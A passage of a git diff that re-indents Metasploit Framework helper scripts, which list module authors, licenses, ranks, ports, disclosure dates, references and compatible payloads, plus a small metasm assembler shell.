eip).to_s - end + # decodes the current string as a Shellcode, with specified base address + # returns the asm source equivallent + def decode(base_addr=0, eip=base_addr) + decode_blocks(base_addr, eip).to_s + end end @@ -110,17 +110,17 @@ shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new) puts 'type "exit" or "quit" to quit', 'use ";" or "\\n" for newline', '' shell.run { |l| - l.gsub!(/(\r|\n)/, '') - l.gsub!(/\\n/, "\n") - l.gsub!(';', "\n") + l.gsub!(/(\r|\n)/, '') + l.gsub!(/\\n/, "\n") + l.gsub!(';', "\n") - break if %w[quit exit].include? l.chomp - next if l.strip.empty? + break if %w[quit exit].include? l.chomp + next if l.strip.empty? - begin - l = l.encode - puts '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' - rescue Metasm::Exception => e - puts "Error: #{e.class} #{e.message}" - end + begin + l = l.encode + puts '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' + rescue Metasm::Exception => e + puts "Error: #{e.class} #{e.message}" + end } diff --git a/tools/module_author.rb b/tools/module_author.rb index f6352c0ca9..13de302149 100755 --- a/tools/module_author.rb +++ b/tools/module_author.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,38 +29,38 @@ reg = 0 regex = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Author instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-x" => [ true, "String or RegEx to try and match against the Author Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Author instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-x" => [ true, "String or RegEx to try and match against the Author Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Author information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Author" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-x" - puts "Regex: #{val}" - regex = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Author information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Author" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-x" + puts "Regex: #{val}" + regex = Regexp.new(val) + end } @@ -73,7 +73,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -81,45 +81,45 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Reference' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Reference' ] ) names = {} $framework.modules.each { |name, mod| - x = mod.new - x.author.each do |r| - r = r.to_s - if regex.nil? or r =~ regex - tbl << [ x.fullname, r ] - names[r] ||= 0 - names[r] += 1 - end - end + x = mod.new + x.author.each do |r| + r = r.to_s + if regex.nil? or r =~ regex + tbl << [ x.fullname, r ] + names[r] ||= 0 + names[r] += 1 + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Count by Author', - 'Indent' => Indent.length, - 'Columns' => [ 'Count', 'Name' ] + 'Header' => 'Module Count by Author', + 'Indent' => Indent.length, + 'Columns' => [ 'Count', 'Name' ] ) names.keys.sort {|a,b| names[b] <=> names[a] }.each do |name| - tbl << [ names[name].to_s, name ] + tbl << [ names[name].to_s, name ] end puts diff --git a/tools/module_changelog.rb b/tools/module_changelog.rb index 4552ff0544..98e8ace0f0 100755 --- a/tools/module_changelog.rb +++ b/tools/module_changelog.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -24,8 +24,8 @@ require 'msf/base' def usage - $stderr.puts "#{$0} <src rev> [dst rev]" - exit(0) + $stderr.puts "#{$0} <src rev> [dst rev]" + exit(0) end src_rev = ARGV.shift || usage() @@ -48,26 +48,26 @@ mmod = [] data.each_line do |line| - action, mname = line.strip.split(/\s+/, 2) - mname = mname.gsub(/^.*modules\//, '').gsub('exploits', 'exploit').gsub(/\.rb$/, '') - case action - when /^A/ - # Added a new module - m = framework.modules.create(mname) - if m - madd << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" - end - when /^D/ - # Deleted a module - mdel << mname - when /^M/ - # Modified a module - # Added a new module - m = framework.modules.create(mname) - if m - mmod << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" - end - end + action, mname = line.strip.split(/\s+/, 2) + mname = mname.gsub(/^.*modules\//, '').gsub('exploits', 'exploit').gsub(/\.rb$/, '') + case action + when /^A/ + # Added a new module + m = framework.modules.create(mname) + if m + madd << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" + end + when /^D/ + # Deleted a module + mdel << mname + when /^M/ + # Modified a module + # Added a new module + m = framework.modules.create(mname) + if m + mmod << "\"#{m.name}\":http://www.metasploit.com/modules/#{mname}" + end + end end diff --git a/tools/module_commits.rb b/tools/module_commits.rb index 2f447c9f82..3f659bdf08 100755 --- a/tools/module_commits.rb +++ b/tools/module_commits.rb @@ -15,7 +15,7 @@ end msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end dir = ARGV[0] || File.join(msfbase, "modules", "exploits") diff --git a/tools/module_count.rb b/tools/module_count.rb index 4080a17eeb..1e81a32989 100755 --- a/tools/module_count.rb +++ b/tools/module_count.rb @@ -4,7 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) diff --git a/tools/module_disclodate.rb b/tools/module_disclodate.rb index 45a545a195..b6a0715a22 100755 --- a/tools/module_disclodate.rb +++ b/tools/module_disclodate.rb @@ -8,7 +8,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -30,64 +30,64 @@ enddate = Date.new(2525,01,01) match = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Disclosure Date instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-n" => [ false, "Filter out modules that have no Disclosure Date listed."], - "-d" => [ true, "Start of Date Range YYYY-MM-DD."], - "-D" => [ true, "End of Date Range YYYY-MM-DD."] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Disclosure Date instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-n" => [ false, "Filter out modules that have no Disclosure Date listed."], + "-d" => [ true, "Start of Date Range YYYY-MM-DD."], + "-D" => [ true, "End of Date Range YYYY-MM-DD."] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Disclosure Date Information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Disclosure Date" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-n" - puts "Excluding Null dates" - nilc=1 - when "-d" - (year,month,day) = val.split('-') - if Date.valid_civil?(year.to_i,month.to_i,day.to_i) - startdate= Date.new(year.to_i,month.to_i,day.to_i) - puts "Start Date: #{startdate}" - else - puts "Invalid Start Date: #{val}" - exit - end - when "-D" - (year,month,day) = val.split('-') - if Date.valid_civil?(year.to_i,month.to_i,day.to_i) - enddate= Date.new(year.to_i,month.to_i,day.to_i) - puts "End Date: #{enddate}" - else - puts "Invalid Start Date: #{val}" - exit - end - else - if opt - puts "Unknown option" - exit - end - match = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Disclosure Date Information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Disclosure Date" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-n" + puts "Excluding Null dates" + nilc=1 + when "-d" + (year,month,day) = val.split('-') + if Date.valid_civil?(year.to_i,month.to_i,day.to_i) + startdate= Date.new(year.to_i,month.to_i,day.to_i) + puts "Start Date: #{startdate}" + else + puts "Invalid Start Date: #{val}" + exit + end + when "-D" + (year,month,day) = val.split('-') + if Date.valid_civil?(year.to_i,month.to_i,day.to_i) + enddate= Date.new(year.to_i,month.to_i,day.to_i) + puts "End Date: #{enddate}" + else + puts "Invalid Start Date: #{val}" + exit + end + else + if opt + puts "Unknown option" + exit + end + match = Regexp.new(val) + end } @@ -99,7 +99,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -107,34 +107,34 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Disclosure Date' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Disclosure Date' ] ) $framework.modules.each { |name, mod| - next if match and not name =~ match - x = mod.new - if x.disclosure_date.nil? - if nilc==1 - tbl << [ x.fullname, '' ] - end - else - if x.disclosure_date >= startdate and x.disclosure_date <= enddate - tbl << [ x.fullname, x.disclosure_date ] - end - end + next if match and not name =~ match + x = mod.new + if x.disclosure_date.nil? + if nilc==1 + tbl << [ x.fullname, '' ] + end + else + if x.disclosure_date >= startdate and x.disclosure_date <= enddate + tbl << [ x.fullname, x.disclosure_date ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_license.rb b/tools/module_license.rb index 476a602fbb..86011fda47 100755 --- a/tools/module_license.rb +++ b/tools/module_license.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,22 +23,22 @@ require 'msf/ui' require 'msf/base' def lic_short(l) - if (l.class == Array) - l = l[0] - end + if (l.class == Array) + l = l[0] + end - case l - when MSF_LICENSE - 'MSF' - when GPL_LICENSE - 'GPL' - when BSD_LICENSE - 'BSD' - when ARTISTIC_LICENSE - 'ART' - else - 'UNK' - end + case l + when MSF_LICENSE + 'MSF' + when GPL_LICENSE + 'GPL' + when BSD_LICENSE + 'BSD' + when ARTISTIC_LICENSE + 'ART' + else + 'UNK' + end end @@ -49,39 +49,39 @@ reg=0 regex= '' opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by License instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], - "-x" => [ true, "String or RegEx to try and match against the License Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by License instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-x" => [ true, "String or RegEx to try and match against the License Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module License information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by License" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-x" - puts "Regex: #{val}" - reg=1 - regex = val - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module License information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by License" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-x" + puts "Regex: #{val}" + reg=1 + regex = val + end } @@ -96,7 +96,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -104,30 +104,30 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Licensed Modules', - 'Indent' => Indent.length, - 'Columns' => [ 'License','Type', 'Name' ] + 'Header' => 'Licensed Modules', + 'Indent' => Indent.length, + 'Columns' => [ 'License','Type', 'Name' ] ) licenses = {} $framework.modules.each { |name, mod| - x = mod.new - lictype = lic_short(x.license) - if reg==0 or lictype=~/#{regex}/ - tbl << [ lictype, mod.type.capitalize, name ] - end + x = mod.new + lictype = lic_short(x.license) + if reg==0 or lictype=~/#{regex}/ + tbl << [ lictype, mod.type.capitalize, name ] + end } if sort == 1 - tbl.sort_rows(0) + tbl.sort_rows(0) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_mixins.rb b/tools/module_mixins.rb index 573a122096..c9e8004177 100755 --- a/tools/module_mixins.rb +++ b/tools/module_mixins.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,11 +23,11 @@ require 'msf/ui' require 'msf/base' def do_want(klass) - return false if klass.class != Module - return false if [ Kernel, ERB::Util, SNMP::BER].include?(klass) - return false if klass.to_s.match(/^Rex::Ui::Subscriber/) + return false if klass.class != Module + return false if [ Kernel, ERB::Util, SNMP::BER].include?(klass) + return false if klass.to_s.match(/^Rex::Ui::Subscriber/) - return true + return true end # Initialize the simplified framework instance. @@ -38,32 +38,32 @@ all_modules = $framework.exploits # If you give an argument (any argument will do), you really want a sorted # list of mixins, regardles of the module they're in. if ARGV[0] - mod_hash = {} - longest_name = 0 - all_modules.each_module do |name, mod| - x = mod.new - mixins = x.class.ancestors.select {|y| do_want(y) } - mixins.each do |m| - mod_hash[m] ||= 0 - mod_hash[m] += 1 - longest_name = m.to_s.size unless m.to_s.size < longest_name - end - end - mod_hash.sort_by {|a| a[1]}.reverse.each do |arr| - puts "%-#{longest_name}s | %d" % arr - end + mod_hash = {} + longest_name = 0 + all_modules.each_module do |name, mod| + x = mod.new + mixins = x.class.ancestors.select {|y| do_want(y) } + mixins.each do |m| + mod_hash[m] ||= 0 + mod_hash[m] += 1 + longest_name = m.to_s.size unless m.to_s.size < longest_name + end + end + mod_hash.sort_by {|a| a[1]}.reverse.each do |arr| + puts "%-#{longest_name}s | %d" % arr + end else - # Tables kind of suck for this. - results = [] - longest_name = 0 - all_modules.each_module do |name, mod| - x = mod.new - mixins = x.class.ancestors.select {|y| do_want(y) } - results << [x.fullname, mixins.sort {|a,b| a.to_s <=> b.to_s}.join(", ")] - longest_name = x.fullname.size if longest_name < x.fullname.size - end - # name | module1, module1, etc. - results.each do |r| - puts "%-#{longest_name}s | %s" % r - end + # Tables kind of suck for this. + results = [] + longest_name = 0 + all_modules.each_module do |name, mod| + x = mod.new + mixins = x.class.ancestors.select {|y| do_want(y) } + results << [x.fullname, mixins.sort {|a,b| a.to_s <=> b.to_s}.join(", ")] + longest_name = x.fullname.size if longest_name < x.fullname.size + end + # name | module1, module1, etc. + results.each do |r| + puts "%-#{longest_name}s | %s" % r + end end diff --git a/tools/module_payloads.rb b/tools/module_payloads.rb index 3770c653d8..1f1c19a5d5 100755 --- a/tools/module_payloads.rb +++ b/tools/module_payloads.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -26,10 +26,10 @@ require 'msf/base' $framework = Msf::Simple::Framework.create('DisableDatabase' => true) $framework.exploits.each_module { |name, mod| - x = mod.new + x = mod.new - x.compatible_payloads.map{|n, m| - puts "#{x.refname.ljust 40} - #{n}" - } + x.compatible_payloads.map{|n, m| + puts "#{x.refname.ljust 40} - #{n}" + } } diff --git a/tools/module_ports.rb b/tools/module_ports.rb index 01ee477633..39048f2b57 100755 --- a/tools/module_ports.rb +++ b/tools/module_ports.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,26 +29,26 @@ all_modules = $framework.exploits.merge($framework.auxiliary) all_ports = {} all_modules.each_module { |name, mod| - x = mod.new - ports = [] + x = mod.new + ports = [] - if x.datastore['RPORT'] - ports << x.datastore['RPORT'] - end + if x.datastore['RPORT'] + ports << x.datastore['RPORT'] + end - if(x.respond_to?('autofilter_ports')) - x.autofilter_ports.each do |rport| - ports << rport - end - end - ports = ports.map{|p| p.to_i} - ports.uniq! - ports.sort{|a,b| a <=> b}.each do |rport| - # Just record the first occurance. - all_ports[rport] = x.fullname unless all_ports[rport] - end + if(x.respond_to?('autofilter_ports')) + x.autofilter_ports.each do |rport| + ports << rport + end + end + ports = ports.map{|p| p.to_i} + ports.uniq! + ports.sort{|a,b| a <=> b}.each do |rport| + # Just record the first occurance. + all_ports[rport] = x.fullname unless all_ports[rport] + end } all_ports.sort.each { |k,v| - puts "%5s # %s" % [k,v] + puts "%5s # %s" % [k,v] } diff --git a/tools/module_rank.rb b/tools/module_rank.rb index 2c11ded340..65fd257ea4 100755 --- a/tools/module_rank.rb +++ b/tools/module_rank.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -42,53 +42,53 @@ ranks = ['Manual','Low','Average','Normal','Good','Great','Excellent'] opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-M" => [ true, "Set Maxmimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Excellent)." ], - "-m" => [ true, "Set Minimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Manual)."], - "-s" => [ false, "Sort by Rank instead of Module Type."], - "-r" => [ false, "Reverse Sort by Rank"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-h" => [ false, "Help menu." ], + "-M" => [ true, "Set Maxmimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Excellent)." ], + "-m" => [ true, "Set Minimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Manual)."], + "-s" => [ false, "Sort by Rank instead of Module Type."], + "-r" => [ false, "Reverse Sort by Rank"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Rank information." - puts "==========================================================" - puts opts.usage - exit - when "-M" - unless ranks.include?(val) - puts "Invalid Rank Supplied: #{val}" - puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" - exit - end - puts "Maximum Rank: #{val}" - maxrank = ranks[val] - when "-m" - unless ranks.include?(val) - puts "Invalid Rank Supplied: #{val}" - puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" - exit - end - puts "Minimum Rank: #{val}" - minrank = ranks[val] - when "-s" - puts "Sorting by Rank" - sort = 1 - when "-r" - puts "Reverse Sorting by Rank" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Rank information." + puts "==========================================================" + puts opts.usage + exit + when "-M" + unless ranks.include?(val) + puts "Invalid Rank Supplied: #{val}" + puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" + exit + end + puts "Maximum Rank: #{val}" + maxrank = ranks[val] + when "-m" + unless ranks.include?(val) + puts "Invalid Rank Supplied: #{val}" + puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" + exit + end + puts "Minimum Rank: #{val}" + minrank = ranks[val] + when "-s" + puts "Sorting by Rank" + sort = 1 + when "-r" + puts "Reverse Sorting by Rank" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val - end + end } @@ -101,7 +101,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -109,27 +109,27 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Ranks', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Rank' ] + 'Header' => 'Module Ranks', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Rank' ] ) $framework.modules.each { |name, mod| - x = mod.new - modrank = x.rank - if modrank >= minrank and modrank<= maxrank - tbl << [ x.fullname, modrank ] - end + x = mod.new + modrank = x.rank + if modrank >= minrank and modrank<= maxrank + tbl << [ x.fullname, modrank ] + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_reference.rb b/tools/module_reference.rb index a2dd955da3..4f4d2c50ac 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -31,48 +31,48 @@ type='All' match= nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Reference instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = All)."], - "-t" => [ true, "Type of Reference to sort by [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]"], - "-x" => [ true, "String or RegEx to try and match against the Reference Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Reference instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = All)."], + "-t" => [ true, "Type of Reference to sort by [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]"], + "-x" => [ true, "String or RegEx to try and match against the Reference Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Reference information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by License" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-t" - unless types.include?(val) - puts "Invalid Type Supplied: #{val}" - puts "Please use one of these: [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]" - exit - end - puts "Type: #{val}" - type = val - when "-x" - puts "Regex: #{val}" - match = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Reference information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by License" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-t" + unless types.include?(val) + puts "Invalid Type Supplied: #{val}" + puts "Please use one of these: [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]" + exit + end + puts "Type: #{val}" + type = val + when "-x" + puts "Regex: #{val}" + match = Regexp.new(val) + end } @@ -86,7 +86,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -94,31 +94,31 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Reference' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Reference' ] ) $framework.modules.each { |name, mod| - next if match and not name =~ match + next if match and not name =~ match - x = mod.new - x.references.each do |r| - if type=='All' or type==r.ctx_id - ref = "#{r.ctx_id}-#{r.ctx_val}" - tbl << [ x.fullname, ref ] - end - end + x = mod.new + x.references.each do |r| + if type=='All' or type==r.ctx_id + ref = "#{r.ctx_id}-#{r.ctx_val}" + tbl << [ x.fullname, ref ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end diff --git a/tools/module_targets.rb b/tools/module_targets.rb index 40c4cb438c..90712c87bc 100755 --- a/tools/module_targets.rb +++ b/tools/module_targets.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -27,30 +27,30 @@ fil = 0 filter = "" opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Target instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-x" => [ true, "String or RegEx to try and match against the Targets field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Target instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-x" => [ true, "String or RegEx to 